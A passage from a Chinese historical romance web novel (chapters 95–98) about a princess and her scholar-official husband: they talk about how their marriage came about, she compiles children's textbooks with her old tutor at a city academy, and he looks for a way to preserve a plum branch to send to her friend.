后来铭华香消玉殒，身处皇宫的她知道这件事时，只看见了女儿冰冷的尸身。
铭华长公主确实如她所言，此后风霜雨雪，绝不言悔。
当时的太后正是后宫之主，她难以接受这样的结局，一道懿旨传下，周家满门无人幸免。
为了自己的子女，她的手上早已染满了鲜血，自然不介意再背负一些罪孽。
太后盯着元辞章的时间很久，久到殿中侍女都觉得难以呼吸时，才轻声应允。
“可。若是你未能做到，周家下场便是前车之鉴。”
既然女儿向着一心所爱却不得善终，那意清，总归被爱她之人，细心呵护。
95. 蛛丝马迹
李意清走到大堂，正好撞见元辞章端着最后一道菜上桌。
那是一碟清炒葵菜，虽然没加什么酱料调味，但是光看色泽，就令人食指大动。
李意清闻言满屋的清香，心底松快了一些。
“香味还在门口就闻到了，”李意清走近元辞章的身边，勾住元辞章的衣袖，“你亲手做的？”
元辞章脸色难得有几分不自在。
他轻轻颔首，语气带着几分自己都没察觉到期待：“你尝尝看？”
李意清走到桌边坐下，接过元辞章递过来的筷子，夹起一块菜叶放入自己的口中。
“怎么样？”
李意清将一整块菜叶都吞咽下去，才笑眯眯递开口道：“聪明的人做什么好像都一通百通，而且你向来谨慎，没有十成把握的事情，怎么可能端到我的面前。”
元辞章伸出去夹菜的手忽然凝滞在了半空。
李意清抬高了声音，视线落在一旁等待的众人身上，“都先出去。”
“啊？”
茴香几人本一脸偷偷的笑意，听到李意清平静的语调，心忽然悬了起来。
李意清并非阴晴不定之人，怎么突然感觉到气氛严肃了起来。
茴香试探着开口：“殿下，你从宫里回来，心情不好吗？”
李意清：“不是，和你们没什么关系，我有事单独要问驸马，你们都先退下。”
茴香还欲追问，被毓心拉了拉衣袖。
几人离开后，毓心关心地看了一眼李意清，而后将门关上。
李意清见他们离开，视线重新落在元辞章的身上。
元辞章还保持着自己的动作没有变化。
“不用这么紧张，”李意清主动伸手拿起元辞章的筷子，掰正他的身体面向自己，“在我的面前，你似乎一直都很拘谨。”
元辞章默然地看着她的动作，静默片刻，声音微微嘶哑：
“太后应当告诉你了，你我的婚事，是我主动向太后求来的。”
李意清点了点头，平静道：“对，我知道了。”
不等李意清询问为什么，他主动道：“当时太后和陛下有意为公主挑选驸马，我怕自己说晚了，会错过殿下。”
他不卑不亢地抬头，温柔的眸光像是散落的星辰。
毫无遮拦，足以让李意清一眼看到底。
“……”
元辞章声音温和：“意清，你还想知道什么，我都说给你听。”
李意清道：“太后说选择你，是因为你将我看得比自己都重要。你为什么从来不告诉我？”
元辞章：“……喜欢你是我的事情，若是将这些说给你听，我怕你有负担。”
李意清简直要被元辞章逗笑了。
连自身的爱意都怕加注在心仪之人的身上，元辞章这一年过得到底有多别扭。
李意清道：“元辞章，你告诉我，是不是因为你主动向太后开口，所以偶尔的一些别扭，是觉得阻碍了我遇见更好的人？”
“从未，”元辞章语气沉静，“能和殿下以夫妻之名长相厮守，于我而言，是此生无法退让的幸事。而且当时殿下并不懂男女之情，微臣自信，不会有人比我更好。”
李意清伸手嗔怒地在元辞章的胳膊上拍了一下，“狂妄自大。”
“殿下教训的是。”
李意清本还想装成生气的模样，看着一看见元辞章坦荡热忱的目光，心中的几分郁气就已经散了干净。
这个人远看光风霁月，清辉无瑕，可是不能细究。
李意清：“元辞章，如果在你求娶之前，我已经有了喜欢的人，或者太后和陛下已经选定了他人，你会怎么样？”
元辞章愣了一下，像是没有将这样情况考虑进去。
李意清也就是随口一问，本想借此跳过这个话题，一旁的元辞章却忽然极轻地笑了一声。
“如果是这样，微臣或许会采取别的方式，让史书落笔你我。”
李意清：“……别的方式？”
元辞章嘴角带笑的时候，身上的清冷感会被温柔和包容所取代。
“不要再问了，这个方式，殿下还是不知道为好。”
看着正派，可是也有非常手段。
李意清怕他再说出什么别的话语，闭上嘴唇不说话了。
元辞章：“意清，你还有没有别的要说？”
李意清沉吟片刻，一字一句认真道：“我不管你因为求娶这件事愧疚也好，庆幸也好，我想告诉你的是，幸好是你。”
元辞章微微抬眸。
“嗯，虽然这件事我被瞒在鼓里，但是我还是想告诉你，遇见你比我想象中要好很多。”
李意清说的很慢，可真到元辞章炙热的目光落在自己身上的时候，反而不自在的转开了视线。
她不知道太后的行为是对是错，也不知道没有元辞章是否会遇见另一个如意郎君。
可是一想到往后余生有元辞章的相伴，便会觉得漫长的未来也显得充满希冀。
“所以你不必再为此事耿耿于怀。”
李意清丢下这句话，转身头也不回地离开。
茴香和毓心等人都扒在门口偷听，门忽然被李意清用力拉开，几个人都有些站不稳。
许三最先回过神：“殿下，公子没冒犯您吧，他要是说了什么不该说的，也不是诚心的。”
虽然在他的心底，自家公子根本不会有什么言辞不当的时候。
李意清面颊带着微红，好在屋外灯光暗淡，众人看不仔细。
她浅浅地“嗯”了一声，走出两步，忽然转过头，打量了许三一眼。
许三：“……”
他试探道：“殿下，我怎么了？”
李意清随口问道：“你跟在驸马身边，多少年了？”
许三谨慎道：“我爹打公子出生起就在旁边伺候公子，我比公子小一岁，能走路的时候就在公子院子里伺候，算来，已经十五六年。”
李意清在袖子下的手指轻轻摩挲。
“不过我和公子虽然一道长大，却不是很能聊得来，他小时候也喜欢习武，后来该看书就看书，我坐不住，就很少在书房伺候了。”许三补充道，“一般是公子有事吩咐，我才着手去办。”
李意清道：“那你家
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公子有没有聊得来的？”
许三语气诚恳：“没有，我家公子书房除了我和我爹，基本上没人进去，就连打扫的婢女也都是他去了国子学才进去。”
“不是，我不是问这个。”
“如果不是聊得来的红颜知己，那就是韩二公子了……殿下你还记得吗？我们公子不善交往，可是韩二公子特别殷勤，就喜欢跟在我们公子身后。他们俩都是读书人，应当算聊得来。”
虽然实际上，都是韩二公子硬拉着元辞章絮絮叨叨，说东说西。
茴香看着李意清一脸若有所思，又像想起来什么一样露出恍然大悟的神色，忍不住道：
“殿下，你突然问这个做什么……难不成你怀疑驸马金屋藏娇了？”
李意清失笑，伸手在她的脑门上敲了一下，“你想哪去了？好了，困了，我先回房休息，你们也早点回去。”
回到房中，李意清看着烛台边的光亮，伸手在梳妆台前的妆奁上一通翻找。
当看见压在底下的木盒时，李意清松了一口气。
这是一只上了锁的木盒，看样式很新，一面靠墙，在边缘缝隙中积了些灰屑。
李意清翻到背面，移动木榫，盒底的暗扣被解开，一枚小巧的银钥匙掉了下来。
打开木盒后，里面装着六册薄薄的话本。
尽管时隔大半年，可是在看见显目的标题时，李意清的耳廓还是红了大半。
李意清忍着脸上的滚烫，颤颤巍巍底伸手一本本拿起来。
“衣带渐宽终不悔，即使魂梦与君同……很像韩二会喜欢的。”
寝屋中的烛光不算明亮，她没有加灯，就着灰暗的光线看了起来。
因为看看停停，约莫半个时辰，李意清才看完一本。
有了第一本的经验，李意清再看第二本时心态平稳了很多，速度快了不少。
两本书大差不差，都是状元早就情根深种。
景和七年的上元佳节，神武门上，天灯悬空，夜色如织，她所在之处，是唯一的光。
*
门边忽然传来一声响动，是元辞章回来的动静。
李意清手忙脚乱地将话本重新塞入木盒，还没上锁，就看见元辞章已经绕过屏风走了进来。
李意清深吸一口气，见他克制地没有往这边张望，麻溜地将银锁锁上，放在了梳妆台的最下面一层。
元辞章坐在书案前，随手拿了一卷书册翻看。
李意清伸手脱掉自己的鞋袜，钻进了被窝，听着沙沙的写字声。
刚刚两人才聊过，元辞章怕她尴尬，肯定会在书案前一坐一整夜。
李意清有意打破僵局，她伸出洁白细腻的手拂开床帐，声音不大不小：“元辞章，我刚刚，刚刚看了一眼我的梳妆台，好久没搭理，连脂粉都结块了，你明日下值后，帮我带两盒胭脂吧？”
不等元辞章接话，她飞快道：“要一盒杏花粉，还要一盒梨花白，别记错了。”
元辞章：“……好。”
等到答应的李意清松了口气，心无旁骛地钻进被窝，抑制住想要在床上打滚的冲动，沉沉睡去。
96. 编书
一夜好梦，李意清一觉睡到午时。
茴香再一次试探地走进来，看见床上坐起身的李意清，眼角带笑。
“殿下这一夜好睡，早起来了三趟，都见殿下睡意昏沉。”
李意清任她取笑。
吃饱睡足，她换上一件衣裳，唤来马车去了城南书院。
周太傅一听说她回京，立刻派人前来传话。原先那人都没能进公主府的大门，直到争执的动静过大，引得毓心注意，这才知道是周太傅花钱雇的街头闲汉。
李意清坐在马车上，一边翻着皇后给她的账本，一边时不时望一眼外面的街道。
城南书院一砖一瓦，一笔一墨，事无巨细记录在册，李意清在心中粗略估算，账上剩下的余额足够支撑书院未来八年无忧。
李意清名下的宅院和铺子，还能盈利，这样一来，压力少了不止一点。
最后一页看完，她心中已经有了定论。
城南街道上撑着不少卖茶的摊子，烈日当空，秋收刚过，去田里捡稻谷的人家背着竹篓，花一文钱坐在茶摊上喝上一壶凉茶，抹着额头上的汗珠。
有一滴汗珠顺着下颌，滴入了凉茶中。
“停车，去买两罐凉茶，一道带去书院。”
坐在前排的洛石闻言，二话不说跳下马车，和店家的谈价钱。
一文钱的凉茶不贵，可是对于在地里拾穗的庄稼人来说，多少还是有些不舍，因此一天下来，能卖出二十壶都不容易。
店家乍然听到两罐的生意，还有些不敢相信，一边用手在缎子围裙上擦手，一边笑道：“这位公子就莫说笑了，一罐十壶，二十壶足足四十斤，你看着也不像是个丈二的水牛，哪能喝下这么许多。”
女店家话音刚落，周边避热喝茶的庄稼汉一道笑了起来。
有人笑：“店家，这可就不是你该操心的了，既然这位小公子愿意买，你哪有不卖的道理。”
店家在众人善意的哄笑声中看了洛石一眼，见他背后的马车不是普通人家，出声道：“公子见谅，这些茶水都是些不值钱的散茶，兑了糖水制成，喝来解暑还行，可不好给贵人品尝。”
洛石：“大娘不必担心，正是我家主人亲口所言。”
言已至此，店家不再劝说，取了两个大缸，码上二十壶茶水。
洛石自小练武，一手一个，拎起大缸，将装了凉茶的罐子拎上马车，转身抬高声音道：“等送到地方，自当将大娘的壶罐送回。”
店家看他主动懂事，不满褶皱的脸色充满笑意：“小公子莫急，老身就住在此处。你照顾我家生意，我家是凉茶摊，也没别的相送，这壶菊花茶准备过段时间推广，也不知道贵人能不能瞧得上。”
她一边说着，一边伸手递出来一壶茶水。
光是看壶的外表，便知道凉茶和菊花茶品质上的区别。
洛石没有拒绝店家的好意，伸手将壶接了过来，“多谢大娘，大娘必生意红红火火！”
一套说辞下来，直哄得店家眉开眼笑。
*
李意清坐在马车上目睹这一切，见洛石献宝一样将菊花茶放在马车上的小榻，主动动手倒了一杯菊花茶。
马车上放的茶杯都是上好的青白瓷，边上描着梅花，清冷风雅，一只杯子三十两白银，有价无市。
菊花茶泡在青白瓷杯中，本略显廉价的茶水也变得金贵，零散的几瓣菊花飘荡在浅黄色的茶水中，看着颇有动感。
洛石在旁边舔着自己干涩的嘴唇，小声道：“看着干净，就是不知道味道怎么样。”
李意清瞥他一眼，“想喝自己倒就是。”
说完，不再看洛石憨憨傻傻的举动，自顾自轻饮了一口菊花茶。
和新采的绿茶、烘焙好的红茶滋味完全不同，浅淡的菊花香气萦绕在鼻尖，配合着糖水，一口下去，口齿回甘。
李意清眯了眯眼眸，或许是因为嘴里的甜意，忍不住嘴角上扬。
洛石和李意清斯文的举动完全不一样，牛饮一杯后，砸吧着嘴唇道：“……喝得太快了，啥都没尝出来，殿下，我再喝一杯试试。”
李意清自然点头应好。
两人喝着菊花茶，不知不觉，就到了城南书院。
书院所在的街道原先没有名字，后来城南百姓为了叫的方便，逐渐开始称呼此处为学子路。
因为城南书院的开办，原先荒僻的地带逐渐多了不少烟火气，光是书院对面，已经多了不少新开的铺子。
李意清走下马车，洛石紧跟在后面提着两个大缸。
城南书院门口是一处水池景观，犬牙参差的池子中有两座运来的太湖石，里面有几根残荷，斜斜耷拉着。
书院门口，坐在长板凳上打盹的门房一脸秋乏困顿，头一点一点的，听到门口的响动，打了个哈欠道：“不好意思，未到时辰，闲人勿扰。”
李意清：“我来找人。”
门房：“若是找学生或者夫子，等到了下学的时候，自然就可以得见。”
“都不是，我找周太傅。”李意清摇了摇头。
“周太傅？哦哦，你说的是周学正吧？”门房一拍脑门，仔细打量着面前的人，一丝灵感浮现在脑海，“您，您是於光公主？”
李意清微笑：“是我。”
门房立刻站直了身子，态度也变得恭敬起来，“公主见谅，职责所在不能带您进去，周学正正在思明轩，轩外是片竹林，好找得很。”
听到竹林，李意清心底就有了底，朝着门房点了点头。
落后一步的洛石往上拎了拎手中的大缸，朝门房做了一个龇牙咧嘴的表情，“书院都是蒙童，下次再看见打盹，没你好果子吃。”
门房看着高大的洛石，被吓了一跳，听清他的话后，连连点头，示意自己听进去了。
*
竹林旁边，坐落着一栋低矮的竹楼。
竹楼南北通透，门口种着不少不知名的花草藤蔓，李意清伸手掀开悬挂的竹帘，走了进去。
正在书案前奋笔疾书的周太傅头也不抬道：“这里不见客，请离吧。”
李意清：“周太傅，是学生回来了。”
握着笔的周太傅笔
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尖一顿，原先漂亮的悬针竖收尾变得粗壮。
周太傅抬头的动作被这笔画打断，语气带上了几分迁怒：“你这猢狲，一回来就误事！”
李意清毫不在意周太傅的疾言厉色，自顾自绕到他的背后，朝着洛石比了一个手势，洛石立刻自觉地拎着两个大缸，准备将凉茶分送给在书院的一众师生。
洛石走后，李意清故意委屈道：“既然太傅不想见我，我走就是了，太傅可千万别气坏了身子。”
话是这么说，脚下的步子却是一点没动。
周太傅吹胡子瞪眼，“走走走，走远些好，我还难得清净。”
见自己说软话不管用，李意清不气馁，若无其事地走到周太傅面前坐下，伸手拿起周太傅刚写好的纸。
她手刚一伸出去，周太傅就毫不留情地用笔杆在她手背上一敲。
“别乱摸。”
“好好好，学生不敢乱动了，”李意清揉着自己的手，语气忽然带上了认真，“这大半年，多谢周太傅。”
见到突然正经起来的李意清，周太傅反而有些不习惯。
他轻咳一声，摆了摆手，“老朽这副身子，能做些什么，还是多亏了皇后和太子妃，一直默默关注，断了不少人的念想。”
因此，书院才避免了不少祸事。
李意清默然。
周太傅看她一脸愧疚的表情，心底生出一股不自在来。
“……也并非你不想亲自坐镇，只是受到牵累，这次回来，可能长留？”
李意清抿唇，微微摇头。
周太傅眼底的期待不动声色转变为低落，这是李意清的心血与愿望，却不能亲眼见证，怎能不说可惜。
但是他也在宦海沉浮，知道一旦卷入官场，万般不由人。
周太傅：“也罢也罢，你虽然闹腾，但是一腔真心实意，不管走到哪里，都能为民做好事。”
李意清的眸子立刻变得圆溜溜亮晶晶，明知故问道：“太傅，你在夸我吗。”
周太傅本以为经此一遭李意清好歹变得成熟懂事起来，可是看李意清进门以来的表现，喊她一声猢狲，也不算过分。
他没好气地瞪了李意清一眼，自言自语般低声道：“好不容易回来了，却留不长久……什么时候走？”
后半句话，他微微抬高了声音。
李意清实话实说：“明年开春。”
“到明年开春还有好几个月的时间，”周太傅点点头，语气平静地道，“这段时日，你就帮我编书吧。”
李意清一时间没反应过来。
周太傅看她坐在位置上一动不动，语气加重道：“你不愿意？李意清，这是你一手主张开办的书院，我一把老骨头被你喊过来，你要是不做事，我还留个什么劲儿。”
他语速快，一个晃神的功夫，像弹珠一样冒出一堆话。
李意清回过神，哭笑不得地看着周太傅严肃的神情，认真道：“太傅说到哪里去了，我什么时候说了不愿意。编书是为国为民的好事，我自然愿意出一份力……只是我怕我做不好编书这样的活。”
97. 比肩进士
周太傅看清她脸上的忧虑，想了想，换上一张干净的白纸，默默提笔书写。
他的神色太过于专注，李意清在对面安静地坐着，不敢出声惊扰。
周太傅洋洋洒洒写了一页纸，而后轻轻吹了吹，将纸递给李意清。
李意清双手接过，本以为是编书相关，没想到是一页墨贴和三道策问。
她不明所以地看向周太傅。
周太傅言辞简单：“写。”
李意清便不再多问，接过周太傅推来的笔墨，认真作答。
曾在书院时，月底也会有这样的小考，可自离开学堂，李意清已经很久不再看书。
李意清写写停停，偶有卡顿，便开始在心底默背。
她算不上绝佳聪颖，好在记性好，用了将近半个时辰，将墨贴全部答完。
三道策论，分别是“周，外重而内轻，秦，外轻而内重，各有得论”、“中立而不倚，强哉矫义”和“试陈教农之策。”
三题各有所侧重。
第一道问的是史论，讲求论述综合史料记载，由史陈情，言藩镇之利弊；
第二道出自四书五经，凭靠学生所学知识和领悟，作答工整而立意明确深远则可为上品；
最后一题关于民生农桑，宽泛宏大，书写时虚粗中有细，有总览亦有独到角度。
李意清将三题看完，心中稍定。
周太傅在旁默默看着她的反应，见她神色不骄不躁，脸上不自觉展现出几分满意之色。
他站起身，佯装不经意地走到李意清的身后，看着她落笔。
李意清的字师从当世书法大家席书之，一撇一捺，规整中又不失灵动。
一列列字舒展地呈现在纸上，赏心悦目。
李意清作答认真，丝毫没有在意身后头越垂越低的周太傅。
最后一个字写完，李意清将笔搁在笔山上，后知后觉揉了揉自己酸胀的手腕。
方才下笔如有神助，能一气呵成，她不舍得停下休息。
站在后面的周太傅伸手抽走她桌上墨迹未干的长宣，仔仔细细看完李意清的作答，一连说了三个“好”字。
周太傅道：“你的眼界学识，比起我朝进士，不遑多让。意清，你完全有资格编书。”
他说的诚恳，铿锵有力，仿佛本该如此。
李意清看着周太傅一副欣喜若狂的模样，忍不住道：“太傅，过了，过了。”
“不过不过，这篇《择晴雨而行，夫争天时，以求人和》，怎么夸都不为过。”周太傅摇头晃脑，爱不释手地摸着手中的纸张，“这样好的文章，就应该录在书中，录在书中！”
庙堂之高者，早就习惯大而宏观的题目，比如《教农之策，以固国本》、又比如《农以兴邦》，陈农之重要，却不讲万物相生，自然道理。
光脚踩在农田的庄稼汉，哪里听得懂动辄“国之根本、民之生计”这样的句子。
李意清不讲高屋建瓴，只谈四时风雨，行云变化，清明种豆，芒种胡瓜，顺应天时，不违农时，勤农而可至人和，人和而民安，民安而国泰。
周太傅将这张纸细致的收好，看了一眼外面的天色，已然夕阳斜照。
“往后每日辰时正，到书院，编撰蒙童书。”
李意清被周太傅夸赞，心底正高兴着，听到周太傅的安排，脸色立刻耷拉下来。
“辰时？学生不成的……”
“城南书院七岁蒙童尚可做到，你身在此位，怎能不做好表率。”周太傅一脸我意已决的表情，将此事敲定。
李意清在心底叹气，知道此事没了转圜余地，不再多说。
两人走出思明轩，外头的竹林边染上一层金黄色的余晖。几个蒙童扒拉着竹叶，晃得沙沙作响。
李意清看着几人自以为精妙绝伦的伪装，想起自己年少无知时的小聪明，有些不自在地咳嗽一声。
她好心想给那几个蒙童提个醒，一旁的周太傅却早已经注意到。
周太傅沉了脸色，严厉道：“听课时间，跑到此处作甚！”
几个蒙童你推我攘，从竹林后一个接一个地冒了出来。
周太傅目光缓慢从小童身上一一扫过，眼神威严，可站成一排的小童却并不害怕。
其中个头最高的一个鼓起勇气，站了出来。
“夫子说於光公主来了城南书院，送来凉茶，我们……我们想送一碗给周学正您。”
他一边说，一边从背后端出一碗浅褐色的茶水。
方才推攘之间，粗瓷碗中的凉茶洒出去不少，只剩下不到一半。
周太傅忽然怔在了原地。
李意清离得近，能看见周太傅背在身后的手在微微颤抖。
她主动出声解围：“学子一番心意，先生请喝。”
周太傅走到小童面前，伸手接过那一碗凉茶，不知怎地，眼眶忽然有些湿润。
他鼻子哼气，板着脸道：“胡闹，若下次不好好听课，我定要重重责罚你们。”
小童笑着点头，看着周太傅端着凉茶一饮而尽。
不过寻常散茶糖水，却让人觉得沙子迷了眼睛。
小童接过空荡荡的碗，眼神既畏惧又钦佩地看着李意清，“我们，我们以为於光公主送来茶水就走了，没有准备，还请公主不要见怪。”
他带头行了一个蹩脚的礼，一排蒙童有样学样，朝着李意清作揖。
李意清第一次赤裸地感受到他们眼底的光亮与向往。
一个个子矮些的小孩嗓音稚嫩，探出半个脑袋瓮声瓮气道：“我娘说，我们能有学上，要多亏公主，娘教我若是见到了公主，一定要好生道谢，将来听圣人言，行君子事，不负公主的一番心意。”
李意清心像是被什么的东西击中一般。
如果说刚刚李意清还能坦然笑周太傅被稚子自发的举动感动，而这一刻，她却感受到了那一种来自最原初的信任。
被毫无保留的憧憬与期待。
稚子的话语，纯粹而简单，不慷慨悲歌，不倔强赌气，只说心中所想，只行心中所念。
李意清上前两步，半蹲着站在说话的孩童面前，面带微笑。
“好啊，等你长大，我要看你成为千古名臣。”
后面的一排小童立刻活泛起来，“还有我还有我，等我长大，大夏休想入侵大庆山河一寸！”
“等我长大，我要让全天下的百姓都吃饱肚子！”
“……”
他们叽叽喳喳，李意清认真地聆听，丝毫没有轻视的笑。
这些看着“狂妄”的话语，未必不能变作现实。
等最后一个人说完，李意清拍了拍手掌道：“好，各位日后的小栋梁们，都先回书堂吧。”
小童们嘻嘻哈哈地跑远了。<
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周太傅走到她的身边，看着向着夕阳方向奔跑的背影，叹了口气。
“他们讲话虽然有些不知天高地厚，可是也天真可爱。”
李意清默默在心中赞同。
到了散学时间，书院里差不多八十多个小孩，从不同的书堂冒了出来，朝着门口而去。
不比国子学的月休时府门外接送的小厮人山人海，城南书院外并没有亲自来接的大人，只有三两同巷子的小童斜挎着包，并肩往家走。
等最后一个小童离开，周太傅先上了回府的马车，朝李意清道：“天色渐晚，你也早些回去……别忘了明早辰时。”
一听到辰时，李意清的精神气立刻消散大半。
她有气无力地点点头，慢吞吞爬上了自己的马车。
夜间的气温已经降下来，李意清坐在外侧，吹着黄昏时分的风。
路过一棵树的时候，她微微有些愣神，。
搓麻老汉的身影犹在脑海，可是小屋早已变了模样。
洛石注意到李意清的失神，关切道：“殿下？”
李意清回神，摇了摇头：“无妨，走吧。”
洛石早已经提过，老汉年初去世，没能看到自己孩儿沉冤昭雪。但苍天不负，纵使身归黄泉，也可瞑目了。
那间被虫蛀腐朽的小木屋，已经被夷为平地，空地被木桩围起，里面摆了不少筑房用的土砖。
新的生命重新在这一方土地开始生活。
李意清心中挤压的那一块巨石在此刻安稳落下，嘴角情不自禁露出一抹温柔浅笑。
洛石看她一会儿伤感一会儿高兴，摸不着头脑。
将马车上的罐壶还给凉茶摊的大娘，回到公主府时，天已经黑透了。
公主府的门口悬着两个灯笼，暖黄色的光亮在漆黑的夜中显得格外温暖。
大门开着，元辞章站在最前排，看见李意清坐在马车前面，走了上前。
李意清一眼看懂元辞章的想法，嘴角微微勾起，朝着元辞章伸出双手。
等被他稳稳当当抱在怀里，李意清从善如流地环住元辞章的脖颈，凑到他耳边低声问：
“我要你帮我买的脂粉，你买了吗？”
站在门边的茴香和毓心听不清李意清的话，却能看到两人亲密的举动，难掩笑意地先一步离开。
元辞章声音低沉：“嗯。不过你只说要杏花粉和梨花白，却没说哪一家铺子。”
李意清怔了一下，然后扑哧一声笑出来，
“我昨天……忘说了，那你怎么做的？”
元辞章：“问人。”
李意清：“嗯？问谁？韩二吗？”
“不是。”元辞章面不改色，声音平静道，“我问了同僚，他们大多比我年长，家中已有妻室。听到我问，虽然诧异，却还是承诺午休帮我询问……所以是芳心阁吗？”
李意清：“是。不过你就直接问了？”
元辞章：“嗯。”
李意清脸皮薄，不争气地红了一大片。
元辞章没有细说，她也能想象得出来，他顶着一张清冷的面容说想给夫人买胭脂水粉，而后那些官员一脸哑然而后纷纷承诺，回家就问。
那些官员回了家中和自家夫人说起此事，不消三日，满京城女眷都能知道这件事。
元辞章感受到怀中温热的呼吸，轻声道：“怎么了？”
98. 痴人说梦
李意清心中挣扎了一会儿，就不在意地摇了摇头，指挥着元辞章道：“先去书房。”
到了书房后，李意清才走在了地上。
陆寻春不愿意虚与委蛇，只愿意一心报答陛下，效忠朝廷，惹得孟氏不快，被攻讦致死。
那一份他的绝笔，自然被当作了呈堂的证供之一。
李意清提起此事，元辞章立刻明白为何她今日回来后，不是先用晚膳，而是来了书房。
他走到书架旁边，伸手在上数第二层的位置取下一个木盒，走回李意清的身边。
打开后，里面是陆寻春含冤而死的来龙去脉，以及对孟氏的清算。
元辞章：“主谋是孟国公的长子，被判了斩刑。”
李意清听到处罚结果一丝波澜也没有，她伸手抚摸着元辞章仔细整理好的纸张，目光在书院梭寻一圈，没有找到香灰与香炉。
公主府内没有设置祠堂，李意清并不气馁，“等过些日子，去太清观为陆寻春立一个长生位，这些纸张一道烧了，以慰他们在天之灵。”
李意清做完决策，看到桌上芳心阁的妆奁。
元辞章解释道：“还没来得及送回房中。”
“无妨。”
李意清摆了摆手，拨动妆奁上的小银扣，木盖弹了起来。
里面有三个精致的小瓷瓶，从外观上就能看出杏花和梨花的区别。不过最旁边青色的瓷瓶简单素养，看不出来是什么。
李意清产生好奇心，拿起揭开盖子，一股温暖干燥而略带清幽的香味扑鼻。
“是青棠。”她的语气中带着几分讶然，几分惊喜。
“赠君以丹棘忘忧之草，青棠合欢之花。”
元辞章声音安静温暖。
李意清：“我很喜欢。”
“喜欢就好。”元辞章看她嘴角的笑，眼底不自觉浮现一抹纵容宠溺。
两人又说了会儿话，才去了正堂用饭。
*
时光如梭，转眼间到了年底。
李意清一连两个多月，日日坚持卯时不到就起身来书院，时间一长，就习惯了。
她做事细致，每一篇注解都再三查验古籍名篇，本来周太傅还尚且有些不放心，站在她身后看了几日，见到一切都有条不紊，回了自己位置。
李意清在书院里看到了今年的第一场大雪。不同于以往的十一月初就漫天飞雪，今年很是奇怪，直到进入腊月，才起了北风，落雪萧萧。
盛蝉和柳夕年虽然同在西北，却一个在军中，一个在汾州，至今没能通过盛大将军的防守见上一面。
柳夕年在西北开了一间糖水铺子，间或买些猪油膏，西北干旱冷冽，不少人手都冻伤皲裂，她的猪油膏卖得紧俏，渐渐改作药油坊，生活也经营得欲发有声有色。
李意清收到她寄回来的信，信上除了这间药油坊，还有一句话。
“我虽和盛蝉不得见，却同淋一场雪，若是有你相伴，围炉煮酒，彻夜长醉，该是有多美妙。”
李意清看信抽的是编书的闲暇时间，看见周太傅朝这边望来，立刻悄悄将书信压到了最低端，若无其事地拿起一本古籍翻开。
周太傅被她这副样子逗笑了，“你如今又不是学生，而是与我一道编书的同僚，友人的书信，早回才是。”
窗外的雪顺着大开的门吹到了屋里的碳盆上。
“太傅，又取笑我，”李意清笑嗔了一句，抬头看向外面下了雪的竹林，忽然道，“我记得当初园中，有两棵梅花。”
“是，不过那两棵梅花有些碍事，被移栽到了叠翠湖边。你要梅花做什么？”
李意清道：“虽然比起北地晚了一些，但是雪诉长歌，梅花凌雪而开，夕年肯定懂我的意思。”
她说完，就跑了出去。
周太傅看着她风风火火的背影，“哎”了一声，见人影都没了，才叹气：“外头还下着雪，就这么跑出去，当真不把自己身体当回事。”
周太傅身边的老仆道：“您呐，就是想的太多。您老一把年纪，可公主不一样，身强体健，淋点雪又能怎么样。您还是坐在火炉边，不然老寒腿犯了，可不好受。”
*
落雪的叠翠湖上仿佛结了一层薄薄的冰，看着就冷得让人直打哆嗦。
两株梅花红得似火，在万物枯萎的水天之间显得十分打眼。
李意清不费什么力气，就摘下了一枝梅花。
她没有左挑右选，而在摘下的瞬间，感觉自己手里的这枝，是最漂亮的。
李意清捧着这束最漂亮的梅花回到思明轩，站在门口抖落一身的风雪。
周太傅体虚受不得寒，等身上寒意驱散了些，李意清才走回屋中。
有了对比，才显得此处温暖如春。
周太傅看着她如获至宝一样捧着一枝梅花，念叨：
“就这么一枝花，颠簸半个月，到了西北，还能有什么样子。”
李意清握着梅花的手紧了紧。
“太傅有办法吗？”
“临形墨于纸。”
“不妙，不妙。”李意清摇摇头，这枝梅花上有些已经绽放到极致，有些还是含苞待放，这样的花枝，如果只是一页纸，该显得多单调。
“元辞章聪慧，我回去问问他。”
周太傅笑而不语。
李意清将梅花放在桌边，继续完成手上未写完的注解。
她一心一意，没有注意到周围的动静，过了午时后，周太傅家的马车已经到了书院门口。
昨日天象不对，就歇了蒙童的课。
今日他们来碰运气，也没能看见一个大晴天。
雪天难行，天又黑得早，路上难行，如果不早早回去，怕要耽误不少功夫。
谁知道这雪什么时候才能停呢。
周太傅没急着出门，他招呼李意清坐下，摩挲着手心道：“天越来越冷，从明日起，就不必再来了。刚好到除夕还有十日，等过了十五，再来书院。”
李意清有些意外，但似乎又是在意料之中。
她朝周太傅点点头，示意自己知道了。
“不过在家也不可荒废了此事，业精于勤，打铁趁热，你晓得这个道理，”周太傅又嘱咐了一句，看着愈演愈大的风雪，“你府上马车还没到，可要我顺道送你？”
他话音刚落，一道月白色的身影走了进来。
元辞章里面穿着绯红的官袍，外面披着月白的斗篷，毛领上托着碎雪，看着清冷非常。
李意清：“不用，有人来接我了。”
周太傅啧了一声，不再打扰两人，在仆从的搀扶下离开了屋子。
等他离开，李意清才问：“你今日怎么有空过来？”
元辞章：“雪势太大，户部散值提前，左右无事，便来顺道接你一起回家。”
李意清点点头，
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看着他身上的雪，伸手简单拍了拍。
“你稍等我一下。”
简单拍去肩头的落雪，李意清转身拿起拿一枝梅花，和一册未完成的书卷，柳夕年寄来的信放在了夹层中，她手不够用，一股脑丢在了元辞章的怀中。
清点完没有落下的东西后，她浇灭了屋中点燃的炭火，确认没有留下火星后，朝元辞章展颜一笑：“走吧。”
元辞章颔首。
两人回去后，用了一碗热气腾腾的冬笋腊肉浓汤，而后一同钻进了书房。
梅花在一路颠簸下掉了几片花瓣，再久拖下去，估计只剩下一根光秃秃的枝桠。
李意清：“有没有什么方法，能够保存住这一枝梅花？”
元辞章有些意外，微微沉吟。
“没有也无事，画成丹青也是可以的。”李意清见他陷入思考，主动开口缓和气氛。
虽然在她的心底，总觉得差了点意思。可是千里迢迢，想送一朵不会凋谢的花，太过强人所难。
元辞章看着李意清手里的梅花，心中闪过两个方法。
其一以水凝冰，将梅花冰封在冰层之下，可这样一来，用的冰块过多，吃力不讨好。
其二，制作成干花，不求娇艳，但求长久。
李意清看她若有所思，“你……想到办法了？”
元辞章颔首，“一为冰封，二为干花。”
冰封很好理解，可是干花是什么，李意清还不知道。
“第二种怎么做？”
元辞章道：“今日不成，等东西准备齐全，才可以制作。”
他对李意清说完，走出去唤来许三，吩咐了几句话，看上去颇有些神神秘秘。
到了第二日，元辞章取出昨夜放在檐下雪堆保存的梅花，取出一个晶莹剔透的琉璃瓶。
琉璃瓶上细下宽，圆口上有一个木塞。
